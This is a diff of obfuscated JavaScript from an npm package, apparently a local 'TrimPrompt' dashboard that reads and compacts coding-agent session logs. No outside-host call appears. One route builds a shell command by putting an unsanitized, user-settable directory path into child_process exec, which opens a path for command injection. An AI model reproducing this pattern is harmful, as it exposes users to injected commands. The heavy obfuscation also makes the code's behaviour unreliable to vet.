_0x1077ab=a0_0x590a69,_0x357ff3=tracker_1['tracker'][_0x1077ab(0xdd)]();_0x53bec0[_0x1077ab(0xbb)](_0x357ff3[_0x1077ab(0xc8)]>0x1f4?_0x357ff3[_0x1077ab(0xe3)](-0x1f4):_0x357ff3);}),app['get'](a0_0x590a69(0xf0),(_0xab419,_0x456708)=>{const _0xcea5ea=a0_0x590a69,_0x313c94=_0xab419['params']['id'],_0x1186e0=path[_0xcea5ea(0xba)](logsDir,_0x313c94+'.raw.txt'),_0x300008=path[_0xcea5ea(0xba)](logsDir,_0x313c94+_0xcea5ea(0xd1));let _0x5e2fe9=_0xcea5ea(0xf6),_0x1e5bd0=_0xcea5ea(0xaf);try{fs[_0xcea5ea(0xb6)](_0x1186e0)&&(_0x5e2fe9=fs[_0xcea5ea(0xde)](_0x1186e0,_0xcea5ea(0x101))),fs[_0xcea5ea(0xb6)](_0x300008)&&(_0x1e5bd0=fs['readFileSync'](_0x300008,'utf8'));}catch(_0x338477){}_0x456708[_0xcea5ea(0xbb)]({'id':_0x313c94,'raw':_0x5e2fe9,'compressed':_0x1e5bd0});}),app[a0_0x590a69(0xa5)](a0_0x590a69(0xb2),(_0x193ab1,_0x2cf65f)=>{const _0x17a711=a0_0x590a69,_0x411dbe=tracker_1[_0x17a711(0xc7)][_0x17a711(0xab)]();_0x2cf65f[_0x17a711(0xbb)](_0x411dbe[_0x17a711(0xb3)]||{});}),app[a0_0x590a69(0x102)](a0_0x590a69(0xb2),(_0xe10778,_0x25e9a2)=>{const _0x589acd=a0_0x590a69,_0x59c50e=_0xe10778[_0x589acd(0x104)];tracker_1[_0x589acd(0xc7)][_0x589acd(0xa4)](_0x589acd(0xb3),_0x59c50e),_0x25e9a2[_0x589acd(0xbb)]({'ok':!![]});}),app[a0_0x590a69(0x102)](a0_0x590a69(0xd3),async(_0x4df95b,_0xcbb1ee)=>{const _0x51d317=a0_0x590a69;try{const {getLatestSessionFile:_0x744df5,processSessionFile:_0x18e112,loadSessionsState:_0x4ed3ee}=await Promise[_0x51d317(0xcd)]()['then'](()=>__importStar(require(_0x51d317(0x108)))),{agentKey:_0x43db3e}=_0x4df95b[_0x51d317(0x104)]||{},_0x1e9ea0=_0x43db3e||_0x51d317(0xfc),_0x36db47=_0x744df5(_0x1e9ea0);if(_0x36db47&&_0x36db47[_0x51d317(0xdc)]&&fs[_0x51d317(0xb6)](_0x36db47['fullPath'])){_0x18e112(_0x36db47[_0x51d317(0xdc)],_0x1e9ea0);const _0x3a2eeb=_0x4ed3ee(),_0x181b86=_0x3a2eeb[_0x36db47[_0x51d317(0xdc)]]&&_0x3a2eeb[_0x36db47['fullPath']][_0x51d317(0xf8)]>0x0?_0x3a2eeb[_0x36db47[_0x51d317(0xdc)]][_0x51d317(0xf8)]:0x5b108,_0x394556='x'[_0x51d317(0xda)]((_0x181b86+0x1f4)*0x4),_0x371e0e='x'[_0x51d317(0xda)](0x1f4*0x4);tracker_1[_0x51d317(0xc7)][_0x51d317(0xa9)]('conv:'+_0x1e9ea0,_0x394556,_0x371e0e,_0x181b86,undefined,['conv_'+_0x1e9ea0,_0x51d317(0xd7),_0x1e9ea0]),_0xcbb1ee[_0x51d317(0xbb)]({'ok':!![],'fileName':_0x36db47[_0x51d317(0xbc)],'tokensSaved':_0x181b86});}else _0xcbb1ee[_0x51d317(0xbb)]({'ok':![],'message':_0x51d317(0xa3)});}catch(_0x8ad0ff){_0xcbb1ee[_0x51d317(0xc2)](0x1f4)[_0x51d317(0xbb)]({'ok':![],'error':_0x8ad0ff['message']});}}),app['get'](a0_0x590a69(0xd5),async(_0x2c8503,_0x4dc7f0)=>{const _0x128f6f=a0_0x590a69,{loadConfig:_0x1f6893,getAgentStoragePaths:_0x141b71,getLatestSessionFile:_0x34b2fd,loadSessionsState:_0x535b64}=await Promise[_0x128f6f(0xcd)]()[_0x128f6f(0xe9)](()=>__importStar(require(_0x128f6f(0x108)))),_0x5000b1=_0x1f6893(),_0x422b5f=['claude',_0x128f6f(0xa6),_0x128f6f(0xfd),'cursor','aider','copilot',_0x128f6f(0xf2),_0x128f6f(0xfb),'cortex'],_0x51a12f={},_0x2e3a72={},_0x34c7f7={},_0x1cd28e=_0x535b64(),_0x565f7f=tracker_1[_0x128f6f(0xc7)][_0x128f6f(0xdd)]()||[];for(const _0x10148d of _0x422b5f){_0x51a12f[_0x10148d]=_0x141b71(_0x10148d);const _0xcbc88e=_0x34b2fd(_0x10148d);if(_0xcbc88e&&_0xcbc88e[_0x128f6f(0xdc)]&&_0x1cd28e[_0xcbc88e['fullPath']])_0xcbc88e[_0x128f6f(0xf8)]=_0x1cd28e[_0xcbc88e['fullPath']]['activeSavedTokens']||0x0;else{if(_0xcbc88e)_0xcbc88e[_0x128f6f(0xf8)]=0x0;}_0x34c7f7[_0x10148d]=_0xcbc88e;const _0x2a323=_0x565f7f[_0x128f6f(0xfe)](_0x17b5f7=>_0x17b5f7[_0x128f6f(0xa7)]&&_0x17b5f7[_0x128f6f(0xa7)][_0x128f6f(0xad)](_0x128f6f(0xe1)+_0x10148d));_0x2a323[_0x128f6f(0xc8)]>0x0?_0x2e3a72[_0x10148d]=_0x2a323[_0x2a323[_0x128f6f(0xc8)]-0x1][_0x128f6f(0xd6)]:_0x2e3a72[_0x10148d]=_0xcbc88e?_0xcbc88e['lastModified']:null;}_0x4dc7f0[_0x128f6f(0xbb)]({..._0x5000b1,'resolvedPaths':_0x51a12f,'lastActiveTimestamps':_0x2e3a72,'latestSessions':_0x34c7f7});}),app[a0_0x590a69(0x102)](a0_0x590a69(0xb9),async(_0x1379de,_0x6adb80)=>{const _0x10ce38=a0_0x590a69,{getAgentStoragePaths:_0x3a7e36}=await Promise[_0x10ce38(0xcd)]()['then'](()=>__importStar(require('./file-watcher'))),{agentKey:_0x3a4c83}=_0x1379de[_0x10ce38(0x104)]||{};if(!_0x3a4c83)return _0x6adb80['status'](0x190)['json']({'error':_0x10ce38(0x109)});const _0x3357c7=_0x3a7e36(_0x3a4c83),_0x366d4d=_0x3357c7['find'](_0x396c08=>fs['existsSync'](_0x396c08))||_0x3357c7[0x0];if(_0x366d4d){if(!fs[_0x10ce38(0xb6)](_0x366d4d))try{fs['mkdirSync'](_0x366d4d,{'recursive':!![]});}catch{}const {exec:_0x30f240}=await Promise['resolve']()[_0x10ce38(0xe9)](()=>__importStar(require(_0x10ce38(0xc3)))),_0x5a9ff3=process[_0x10ce38(0xbd)]===_0x10ce38(0xeb)?'explorer\x20\x22'+_0x366d4d+'\x22':process[_0x10ce38(0xbd)]===_0x10ce38(0xca)?_0x10ce38(0xe0)+_0x366d4d+'\x22':_0x10ce38(0xaa)+_0x366d4d+'\x22';return _0x30f240(_0x5a9ff3),_0x6adb80[_0x10ce38(0xbb)]({'success':!![],'openedPath':_0x366d4d});}_0x6adb80[_0x10ce38(0xc2)](0x194)['json']({'error':_0x10ce38(0xe6)});}),app[a0_0x590a69(0x102)](a0_0x590a69(0xcc),async(_0x4144b7,_0x2b8a95)=>{const _0xe2f1cc=a0_0x590a69,{saveConfig:_0x7547e2}=await Promise['resolve']()[_0xe2f1cc(0xe9)](()=>__importStar(require(_0xe2f1cc(0x108)))),{key:_0x3a64a9,value:_0x102c28}=_0x4144b7['body']||{};if(_0x3a64a9){const _0x4f229c=_0x7547e2({'conversation_toggles':{[_0x3a64a9]:_0x102c28}});return _0x2b8a95[_0xe2f1cc(0xbb)](_0x4f229c);}_0x2b8a95[_0xe2f1cc(0xc2)](0x190)[_0xe2f1cc(0xbb)]({'error':_0xe2f1cc(0xf7)});}),app['post']('/api/config/custom-path',async(_0x30d4f4,_0x5b9271)=>{const _0x16ce3d=a0_0x590a69,{saveConfig:_0x5cd5c0}=await Promise[_0x16ce3d(0xcd)]()[_0x16ce3d(0xe9)](()=>__importStar(require(_0x16ce3d(0x108)))),{agentKey:_0x504bdb,path:_0x1dabb4}=_0x30d4f4[_0x16ce3d(0x104)]||{};if(_0x504bdb){const _0x25841c=_0x5cd5c0({'custom_storage_paths':{[_0x504bdb]:_0x1dabb4||null}});return _0x5b9271[_0x16ce3d(0xbb)](_0x25841c);}_0x5b9271['status'](0x190)['json']({'error':'Missing\x20agentKey'});});function startDashboard(_0x387f4a=0xfa0){const _0x49efd1=a0_0x590a69;let _0x3841bc=_0x387f4a;const _0x3884b8=process[_0x49efd1(0xdf)][_0x49efd1(0xad)](_0x49efd1(0x10a))||process[_0x49efd1(0xcf)][_0x49efd1(0xa8)]==='1',_0x461e5d=app['listen'](_0x3841bc,()=>{const _0x29b5ab=_0x49efd1,_0x101517='http://localhost:'+_0x3841bc;!_0x3884b8&&(console['log'](_0x29b5ab(0xa1)+_0x101517),console[_0x29b5ab(0x106)](_0x29b5ab(0xce))),Promise[_0x29b5ab(0xcd)]()[_0x29b5ab(0xe9)](()=>__importStar(require(_0x29b5ab(0x108))))[_0x29b5ab(0xe9)](_0x376287=>_0x376287['startWatcherDaemon']())[_0x29b5ab(0xd4)](()=>{}),!_0x3884b8&&process['env'][_0x29b5ab(0xa0)]!=='1'&&(0x0,open_1['default'])(_0x101517)[_0x29b5ab(0xd4)](()=>{});});_0x461e5d['on'](_0x49efd1(0xb0),_0x3b3d9d=>{const _0x1afb15=_0x49efd1;_0x3b3d9d[_0x1afb15(0xec)]===_0x1afb15(0xa2)?startDashboard(_0x3841bc+0x1):console[_0x1afb15(0xb0)](_0x1afb15(0xc5)+_0x3b3d9d['message']);});}
1
+ 'use strict';const a0_0x38e848=a0_0x1f10;(function(_0x81e5ee,_0x24c9db){const _0x43dd32=a0_0x1f10,_0x4a374c=_0x81e5ee();while(!![]){try{const _0x13267e=-parseInt(_0x43dd32(0x1f7))/0x1+-parseInt(_0x43dd32(0x232))/0x2+parseInt(_0x43dd32(0x22f))/0x3+-parseInt(_0x43dd32(0x22b))/0x4*(-parseInt(_0x43dd32(0x222))/0x5)+parseInt(_0x43dd32(0x225))/0x6*(parseInt(_0x43dd32(0x1f2))/0x7)+parseInt(_0x43dd32(0x218))/0x8*(-parseInt(_0x43dd32(0x20f))/0x9)+-parseInt(_0x43dd32(0x229))/0xa*(parseInt(_0x43dd32(0x1d8))/0xb);if(_0x13267e===_0x24c9db)break;else _0x4a374c['push'](_0x4a374c['shift']());}catch(_0x44236a){_0x4a374c['push'](_0x4a374c['shift']());}}}(a0_0x37a0,0xafcde));var __createBinding=this&&this['__createBinding']||(Object[a0_0x38e848(0x213)]?function(_0x1c6a70,_0x4322d0,_0x51ed6c,_0x48677b){const _0x16e989=a0_0x38e848;if(_0x48677b===undefined)_0x48677b=_0x51ed6c;var _0x17d178=Object[_0x16e989(0x1c7)](_0x4322d0,_0x51ed6c);(!_0x17d178||(_0x16e989(0x205)in _0x17d178?!_0x4322d0[_0x16e989(0x1d9)]:_0x17d178[_0x16e989(0x1d3)]||_0x17d178['configurable']))&&(_0x17d178={'enumerable':!![],'get':function(){return _0x4322d0[_0x51ed6c];}}),Object[_0x16e989(0x1d1)](_0x1c6a70,_0x48677b,_0x17d178);}:function(_0xae0af9,_0x4be2b1,_0x2a1e7c,_0x3c1076){if(_0x3c1076===undefined)_0x3c1076=_0x2a1e7c;_0xae0af9[_0x3c1076]=_0x4be2b1[_0x2a1e7c];}),__setModuleDefault=this&&this[a0_0x38e848(0x226)]||(Object[a0_0x38e848(0x213)]?function(_0x594838,_0x2e797c){const _0x39c723=a0_0x38e848;Object[_0x39c723(0x1d1)](_0x594838,_0x39c723(0x207),{'enumerable':!![],'value':_0x2e797c});}:function(_0x51ba88,_0x3a74a7){const _0x175144=a0_0x38e848;_0x51ba88[_0x175144(0x207)]=_0x3a74a7;}),__importStar=this&&this[a0_0x38e848(0x200)]||(function(){var _0x5e7827=function(_0x3ba922){const _0x2e2024=a0_0x1f10;return _0x5e7827=Object[_0x2e2024(0x1ed)]||function(_0x4abd37){const _0x394cc2=_0x2e2024;var _0x302128=[];for(var _0x1e1928 in _0x4abd37)if(Object['prototype'][_0x394cc2(0x1e9)][_0x394cc2(0x201)](_0x4abd37,_0x1e1928))_0x302128[_0x302128[_0x394cc2(0x216)]]=_0x1e1928;return _0x302128;},_0x5e7827(_0x3ba922);};return function(_0x661d16){const _0x12cdad=a0_0x1f10;if(_0x661d16&&_0x661d16[_0x12cdad(0x1d9)])return _0x661d16;var _0xa64000={};if(_0x661d16!=null){for(var _0x4bffe1=_0x5e7827(_0x661d16),_0x2f2de3=0x0;_0x2f2de3<_0x4bffe1[_0x12cdad(0x216)];_0x2f2de3++)if(_0x4bffe1[_0x2f2de3]!==_0x12cdad(0x207))__createBinding(_0xa64000,_0x661d16,_0x4bffe1[_0x2f2de3]);}return __setModuleDefault(_0xa64000,_0x661d16),_0xa64000;};}()),__importDefault=this&&this['__importDefault']||function(_0x42c08e){const _0x103c67=a0_0x38e848;return _0x42c08e&&_0x42c08e[_0x103c67(0x1d9)]?_0x42c08e:{'default':_0x42c08e};};Object['defineProperty'](exports,a0_0x38e848(0x1d9),{'value':!![]}),exports['startDashboard']=startDashboard;const express_1=__importDefault(require(a0_0x38e848(0x1f6))),path=__importStar(require(a0_0x38e848(0x1c4))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x38e848(0x1f4))),tracker_1=require(a0_0x38e848(0x1e6)),app=(0x0,express_1[a0_0x38e848(0x207)])();app[a0_0x38e848(0x1fc)](express_1[a0_0x38e848(0x207)][a0_0x38e848(0x21d)]());const baseDir=path[a0_0x38e848(0x1d2)](os[a0_0x38e848(0x1c5)](),a0_0x38e848(0x1cb)),logsDir=path[a0_0x38e848(0x1d2)](baseDir,a0_0x38e848(0x1e7));function a0_0x1f10(_0x4536c5,_0x4c981c){_0x4536c5=_0x4536c5-0x1c3;const _0x37a06f=a0_0x37a0();let _0x1f108e=_0x37a06f[_0x4536c5];return _0x1f108e;}app[a0_0x38e848(0x205)]('/',(_0x5aecab,_0xa562f0)=>{const _0x451065=a0_0x38e848,_0x433266=path[_0x451065(0x1d2)](__dirname,_0x451065(0x1f8));fs[_0x451065(0x1de)](_0x433266)?_0xa562f0[_0x451065(0x215)](_0x433266):_0xa562f0[_0x451065(0x215)](path[_0x451065(0x1d2)](__dirname,_0x451065(0x21a)));}),app[a0_0x38e848(0x205)](a0_0x38e848(0x21b),(_0x25d676,_0xacd34e)=>{const _0xf1c9f=a0_0x38e848,_0x3d14ba=path[_0xf1c9f(0x1d2)](__dirname,_0xf1c9f(0x210));fs['existsSync'](_0x3d14ba)?_0xacd34e[_0xf1c9f(0x215)](_0x3d14ba):_0xacd34e[_0xf1c9f(0x215)](path[_0xf1c9f(0x1d2)](__dirname,_0xf1c9f(0x228)));}),app[a0_0x38e848(0x205)](a0_0x38e848(0x1df),(_0x5f01bf,_0x29e577)=>{const _0x2902f7=a0_0x38e848,_0x4ce321=_0x5f01bf[_0x2902f7(0x1e0)][_0x2902f7(0x1dd)]||_0x2902f7(0x1ef),_0x234acf=tracker_1[_0x2902f7(0x1c8)][_0x2902f7(0x1ea)](_0x4ce321);_0x29e577['json'](_0x234acf);}),app['get'](a0_0x38e848(0x1fe),(_0x423c93,_0x2f66a3)=>{const _0x19c0f4=a0_0x38e848,_0x1ea30a=tracker_1[_0x19c0f4(0x1c8)][_0x19c0f4(0x206)]();_0x2f66a3[_0x19c0f4(0x21d)](_0x1ea30a[_0x19c0f4(0x216)]>0x1f4?_0x1ea30a['slice'](-0x1f4):_0x1ea30a);}),app[a0_0x38e848(0x205)](a0_0x38e848(0x21e),(_0x4bf5ba,_0x4259a5)=>{const _0x202888=a0_0x38e848,_0x169281=_0x4bf5ba[_0x202888(0x227)]['id'],_0x44455b=path['join'](logsDir,_0x169281+'.raw.txt'),_0xe8a80=path[_0x202888(0x1d2)](logsDir,_0x169281+_0x202888(0x1f9));let _0xc6ef1='Raw\x20output\x20log\x20file\x20not\x20found.',_0x15225e=_0x202888(0x20d);try{fs[_0x202888(0x1de)](_0x44455b)&&(_0xc6ef1=fs[_0x202888(0x221)](_0x44455b,_0x202888(0x1fa))),fs[_0x202888(0x1de)](_0xe8a80)&&(_0x15225e=fs[_0x202888(0x221)](_0xe8a80,'utf8'));}catch(_0x1d96f9){}_0x4259a5['json']({'id':_0x169281,'raw':_0xc6ef1,'compressed':_0x15225e});}),app[a0_0x38e848(0x205)]('/api/config/features',(_0x1bb1d3,_0x31d4e1)=>{const _0x336250=a0_0x38e848,_0x359e1a=tracker_1['tracker']['getConfig']();_0x31d4e1[_0x336250(0x21d)](_0x359e1a[_0x336250(0x1eb)]||{});}),app['post'](a0_0x38e848(0x1ce),(_0x142678,_0x4dd19f)=>{const _0x21f4d9=a0_0x38e848,_0x3823d9=_0x142678[_0x21f4d9(0x1c6)];tracker_1[_0x21f4d9(0x1c8)][_0x21f4d9(0x214)](_0x21f4d9(0x1eb),_0x3823d9),_0x4dd19f[_0x21f4d9(0x21d)]({'ok':!![]});}),app[a0_0x38e848(0x1ec)](a0_0x38e848(0x20b),async(_0x847c3d,_0x5056aa)=>{const _0x259948=a0_0x38e848;try{const {getLatestSessionFile:_0x1ecff2,compactSessionCopy:_0xb0a777}=await Promise[_0x259948(0x202)]()['then'](()=>__importStar(require('./file-watcher'))),{agentKey:_0x30dc15}=_0x847c3d[_0x259948(0x1c6)]||{},_0x5ef1bf=_0x30dc15||'claude',_0x153ab3=_0x1ecff2(_0x5ef1bf);if(_0x153ab3&&_0x153ab3[_0x259948(0x203)]&&fs['existsSync'](_0x153ab3['fullPath'])){const _0x2a7c52=_0xb0a777(_0x153ab3[_0x259948(0x203)],_0x5ef1bf);_0x2a7c52['ok']&&(_0x2a7c52['savedTokens']||0x0)>0x0?_0x5056aa[_0x259948(0x21d)]({'ok':!![],'fileName':_0x153ab3[_0x259948(0x1ff)],'tokensSaved':_0x2a7c52[_0x259948(0x1e1)],'rawTokens':_0x2a7c52['rawTokens'],'compressedTokens':_0x2a7c52[_0x259948(0x1cf)],'reductionPct':_0x2a7c52[_0x259948(0x20c)],'compactPath':_0x2a7c52[_0x259948(0x231)]}):_0x5056aa[_0x259948(0x21d)]({'ok':![],'message':_0x2a7c52[_0x259948(0x1d0)]||_0x259948(0x1cc)});}else _0x5056aa[_0x259948(0x21d)]({'ok':![],'message':_0x259948(0x1e2)});}catch(_0x3a991f){_0x5056aa[_0x259948(0x1cd)](0x1f4)[_0x259948(0x21d)]({'ok':![],'error':_0x3a991f[_0x259948(0x1e8)]});}}),app[a0_0x38e848(0x205)](a0_0x38e848(0x212),async(_0x19d299,_0x297c15)=>{const _0x19293e=a0_0x38e848,{loadConfig:_0x2ba44e,getAgentStoragePaths:_0xb81f76,getLatestSessionFile:_0x4ea13f,loadSessionsState:_0x4ecc8a}=await Promise[_0x19293e(0x202)]()[_0x19293e(0x21c)](()=>__importStar(require(_0x19293e(0x1e4)))),_0x498803=_0x2ba44e(),_0x55d79c=['claude',_0x19293e(0x1fd),_0x19293e(0x1d7),_0x19293e(0x1e5),_0x19293e(0x1c9),'copilot',_0x19293e(0x20e),'opencode',_0x19293e(0x219)],_0x206624={},_0x20b423={},_0x5cb24c={},_0x539e3f=_0x4ecc8a(),_0x41e647=tracker_1[_0x19293e(0x1c8)][_0x19293e(0x206)]()||[];for(const _0x32d6af of _0x55d79c){_0x206624[_0x32d6af]=_0xb81f76(_0x32d6af);const _0x5c9b68=_0x4ea13f(_0x32d6af);if(_0x5c9b68&&_0x5c9b68[_0x19293e(0x203)]&&_0x539e3f[_0x5c9b68[_0x19293e(0x203)]])_0x5c9b68[_0x19293e(0x209)]=_0x539e3f[_0x5c9b68[_0x19293e(0x203)]][_0x19293e(0x209)]||0x0;else{if(_0x5c9b68)_0x5c9b68[_0x19293e(0x209)]=0x0;}_0x5cb24c[_0x32d6af]=_0x5c9b68;const _0xa14930=_0x41e647[_0x19293e(0x230)](_0x2844f2=>_0x2844f2['command']&&_0x2844f2['command'][_0x19293e(0x1da)](_0x19293e(0x22a)+_0x32d6af));_0xa14930[_0x19293e(0x216)]>0x0?_0x20b423[_0x32d6af]=_0xa14930[_0xa14930[_0x19293e(0x216)]-0x1][_0x19293e(0x1d6)]:_0x20b423[_0x32d6af]=_0x5c9b68?_0x5c9b68[_0x19293e(0x20a)]:null;}_0x297c15[_0x19293e(0x21d)]({..._0x498803,'resolvedPaths':_0x206624,'lastActiveTimestamps':_0x20b423,'latestSessions':_0x5cb24c});}),app[a0_0x38e848(0x1ec)](a0_0x38e848(0x223),async(_0x2148df,_0x125cb9)=>{const _0xb37121=a0_0x38e848,{getAgentStoragePaths:_0x257ff4}=await Promise[_0xb37121(0x202)]()[_0xb37121(0x21c)](()=>__importStar(require(_0xb37121(0x1e4)))),{agentKey:_0x377b55}=_0x2148df[_0xb37121(0x1c6)]||{};if(!_0x377b55)return _0x125cb9[_0xb37121(0x1cd)](0x190)[_0xb37121(0x21d)]({'error':_0xb37121(0x1ca)});const _0x49956c=_0x257ff4(_0x377b55),_0x3aed83=_0x49956c[_0xb37121(0x1f5)](_0x358798=>fs[_0xb37121(0x1de)](_0x358798))||_0x49956c[0x0];if(_0x3aed83){if(!fs[_0xb37121(0x1de)](_0x3aed83))try{fs[_0xb37121(0x1d5)](_0x3aed83,{'recursive':!![]});}catch{}const {exec:_0x16f893}=await Promise[_0xb37121(0x202)]()[_0xb37121(0x21c)](()=>__importStar(require(_0xb37121(0x21f)))),_0x1c5cbe=process[_0xb37121(0x217)]===_0xb37121(0x22c)?_0xb37121(0x204)+_0x3aed83+'\x22':process[_0xb37121(0x217)]==='darwin'?_0xb37121(0x1c3)+_0x3aed83+'\x22':_0xb37121(0x208)+_0x3aed83+'\x22';return _0x16f893(_0x1c5cbe),_0x125cb9[_0xb37121(0x21d)]({'success':!![],'openedPath':_0x3aed83});}_0x125cb9[_0xb37121(0x1cd)](0x194)[_0xb37121(0x21d)]({'error':_0xb37121(0x1d4)});}),app['post']('/api/config/toggle',async(_0x41a059,_0x26371a)=>{const _0xb03822=a0_0x38e848,{saveConfig:_0x566de4}=await Promise[_0xb03822(0x202)]()[_0xb03822(0x21c)](()=>__importStar(require(_0xb03822(0x1e4)))),{key:_0x53df7b,value:_0xc38c6e}=_0x41a059[_0xb03822(0x1c6)]||{};if(_0x53df7b){const _0x52fa0f=_0x566de4({'conversation_toggles':{[_0x53df7b]:_0xc38c6e}});return _0x26371a[_0xb03822(0x21d)](_0x52fa0f);}_0x26371a['status'](0x190)[_0xb03822(0x21d)]({'error':_0xb03822(0x220)});}),app[a0_0x38e848(0x1ec)]('/api/config/custom-path',async(_0x1e0037,_0x27125c)=>{const _0x2ee7d9=a0_0x38e848,{saveConfig:_0x28b800}=await Promise[_0x2ee7d9(0x202)]()[_0x2ee7d9(0x21c)](()=>__importStar(require(_0x2ee7d9(0x1e4)))),{agentKey:_0x19a0c8,path:_0x194cd0}=_0x1e0037[_0x2ee7d9(0x1c6)]||{};if(_0x19a0c8){const _0x1ffd28=_0x28b800({'custom_storage_paths':{[_0x19a0c8]:_0x194cd0||null}});return _0x27125c['json'](_0x1ffd28);}_0x27125c['status'](0x190)[_0x2ee7d9(0x21d)]({'error':_0x2ee7d9(0x1ca)});});function a0_0x37a0(){const _0x3caacb=['512264NuTaCF','cortex','../src/index.html','/favicon.png','then','json','/api/stats/inspect/:id','child_process','Missing\x20key','readFileSync','939620aLScAy','/api/config/open-dir','EADDRINUSE','45894FzVTKB','__setModuleDefault','params','../src/favicon.png','56010VnHTCV','conv:','16YhBLxM','win32','listen','--headless','2211441KlRbNC','filter','compactPath','1198438vQaqNu','open\x20\x22','path','homedir','body','getOwnPropertyDescriptor','tracker','aider','Missing\x20agentKey','.trimprompt','No\x20compressible\x20content\x20found\x20in\x20this\x20session','status','/api/config/features','compressedTokens','reason','defineProperty','join','writable','Directory\x20not\x20found','mkdirSync','timestamp','codex','1463tcIaaX','__esModule','includes','startWatcherDaemon','[TrimPrompt]\x20Dashboard\x20error:\x20','model','existsSync','/api/stats/summary','query','savedTokens','No\x20active\x20session\x20file\x20found','argv','./file-watcher','cursor','./tracker','logs','message','hasOwnProperty','getStatsSummary','features_enabled','post','getOwnPropertyNames','log','auto','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','777yyrsUw','http://localhost:','open','find','express','209603RvATFZ','index.html','.comp.txt','utf8','catch','use','gemini','/api/stats/history','fileName','__importStar','call','resolve','fullPath','explorer\x20\x22','get','getLogs','default','xdg-open\x20\x22','activeSavedTokens','lastModified','/api/agent/compact','reductionPct','Compressed\x20output\x20log\x20file\x20not\x20found.','openclaw','9geVGXL','favicon.png','code','/api/config','create','setConfig','sendFile','length','platform'];a0_0x37a0=function(){return _0x3caacb;};return a0_0x37a0();}function startDashboard(_0x22e71c=0xfa0){const _0x35f452=a0_0x38e848;let _0x1b6123=_0x22e71c;const _0x1750e2=process[_0x35f452(0x1e3)][_0x35f452(0x1da)](_0x35f452(0x22e))||process.env.TRIMPROMPT_HEADLESS==='1',_0x285100=app[_0x35f452(0x22d)](_0x1b6123,()=>{const _0x2c3b01=_0x35f452,_0x144fef=_0x2c3b01(0x1f3)+_0x1b6123;!_0x1750e2&&(console[_0x2c3b01(0x1ee)](_0x2c3b01(0x1f1)+_0x144fef),console[_0x2c3b01(0x1ee)](_0x2c3b01(0x1f0))),Promise[_0x2c3b01(0x202)]()[_0x2c3b01(0x21c)](()=>__importStar(require('./file-watcher')))[_0x2c3b01(0x21c)](_0x196c55=>_0x196c55[_0x2c3b01(0x1db)]())['catch'](()=>{}),!_0x1750e2&&process.env.TRIMPROMPT_NO_OPEN!=='1'&&(0x0,open_1[_0x2c3b01(0x207)])(_0x144fef)[_0x2c3b01(0x1fb)](()=>{});});_0x285100['on']('error',_0x4c10aa=>{const _0x213aed=_0x35f452;_0x4c10aa[_0x213aed(0x211)]===_0x213aed(0x224)?startDashboard(_0x1b6123+0x1):console['error'](_0x213aed(0x1dc)+_0x4c10aa[_0x213aed(0x1e8)]);});}
package/executor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x58bf(){var _0x14b8f2=['map','shims','__esModule','length','stderr','3jKJXjO','2524335pPsAAW','Failed\x20to\x20spawn\x20command\x20\x22','__importStar','message','2708790uHpXWQ','call','delimiter','.trimprompt','trim','826300SaEwlB','data','6WLXfOB','1194344GnhnTg','filter','error','split','defineProperty','hasOwnProperty','env','387350qTwmIK','configurable','get','1907248AOGYeI','3838329iVRHXr','spawn','toString','child_process','join','default','pipe','path','homedir','toLowerCase','create'];a0_0x58bf=function(){return _0x14b8f2;};return a0_0x58bf();}var a0_0x319b5a=a0_0xc2ee;(function(_0x4a9f37,_0x5765a7){var _0x3a0e60=a0_0xc2ee,_0x76ac05=_0x4a9f37();while(!![]){try{var _0x587718=-parseInt(_0x3a0e60(0xb6))/0x1+parseInt(_0x3a0e60(0xac))/0x2+parseInt(_0x3a0e60(0xa2))/0x3*(parseInt(_0x3a0e60(0xaf))/0x4)+-parseInt(_0x3a0e60(0xa3))/0x5*(-parseInt(_0x3a0e60(0xae))/0x6)+-parseInt(_0x3a0e60(0xa7))/0x7+parseInt(_0x3a0e60(0xb9))/0x8+-parseInt(_0x3a0e60(0xba))/0x9;if(_0x587718===_0x5765a7)break;else _0x76ac05['push'](_0x76ac05['shift']());}catch(_0x9c400c){_0x76ac05['push'](_0x76ac05['shift']());}}}(a0_0x58bf,0x3e100));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0xe89eb4,_0x33a552,_0x3de763,_0x53ce98){var _0x82666d=a0_0xc2ee;if(_0x53ce98===undefined)_0x53ce98=_0x3de763;var _0x59c9b8=Object['getOwnPropertyDescriptor'](_0x33a552,_0x3de763);(!_0x59c9b8||(_0x82666d(0xb8)in _0x59c9b8?!_0x33a552[_0x82666d(0x9f)]:_0x59c9b8['writable']||_0x59c9b8[_0x82666d(0xb7)]))&&(_0x59c9b8={'enumerable':!![],'get':function(){return _0x33a552[_0x3de763];}}),Object[_0x82666d(0xb3)](_0xe89eb4,_0x53ce98,_0x59c9b8);}:function(_0x161a3a,_0x57d307,_0x46bced,_0x258b6a){if(_0x258b6a===undefined)_0x258b6a=_0x46bced;_0x161a3a[_0x258b6a]=_0x57d307[_0x46bced];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x319b5a(0x9c)]?function(_0x172c18,_0x109ccc){Object['defineProperty'](_0x172c18,'default',{'enumerable':!![],'value':_0x109ccc});}:function(_0x50a928,_0x2b648d){var _0x46988c=a0_0x319b5a;_0x50a928[_0x46988c(0x97)]=_0x2b648d;}),__importStar=this&&this[a0_0x319b5a(0xa5)]||(function(){var _0x5eef45=function(_0x563a5a){return _0x5eef45=Object['getOwnPropertyNames']||function(_0x2e8677){var _0x333708=a0_0xc2ee,_0x13e2a0=[];for(var _0x1e272b in _0x2e8677)if(Object['prototype'][_0x333708(0xb4)][_0x333708(0xa8)](_0x2e8677,_0x1e272b))_0x13e2a0[_0x13e2a0[_0x333708(0xa0)]]=_0x1e272b;return _0x13e2a0;},_0x5eef45(_0x563a5a);};return function(_0x3e7853){var _0x17344a=a0_0xc2ee;if(_0x3e7853&&_0x3e7853['__esModule'])return _0x3e7853;var _0x1fff5a={};if(_0x3e7853!=null){for(var _0x2bea63=_0x5eef45(_0x3e7853),_0x59c3f3=0x0;_0x59c3f3<_0x2bea63[_0x17344a(0xa0)];_0x59c3f3++)if(_0x2bea63[_0x59c3f3]!=='default')__createBinding(_0x1fff5a,_0x3e7853,_0x2bea63[_0x59c3f3]);}return 